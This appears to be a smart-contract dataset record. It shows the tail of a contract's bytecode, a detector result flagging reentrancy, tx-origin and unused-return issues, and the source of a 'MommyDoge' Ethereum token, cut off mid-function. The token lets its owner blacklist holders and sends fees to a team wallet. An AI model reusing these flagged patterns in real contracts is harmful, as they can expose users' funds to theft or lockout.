fffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a2781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220133fa8ae28c061e29c9af676a031e36e4cff60b3981c6eb4a14aafc4cf89dd5364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,465 |
0x7dcaf896f5e800e909acc94e598003dfc359158a
|
/**
*Submitted for verification at Etherscan.io on 2021-07-09
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MommyDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " Mommy Doge ";
string private constant _symbol = " MommyDoge ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
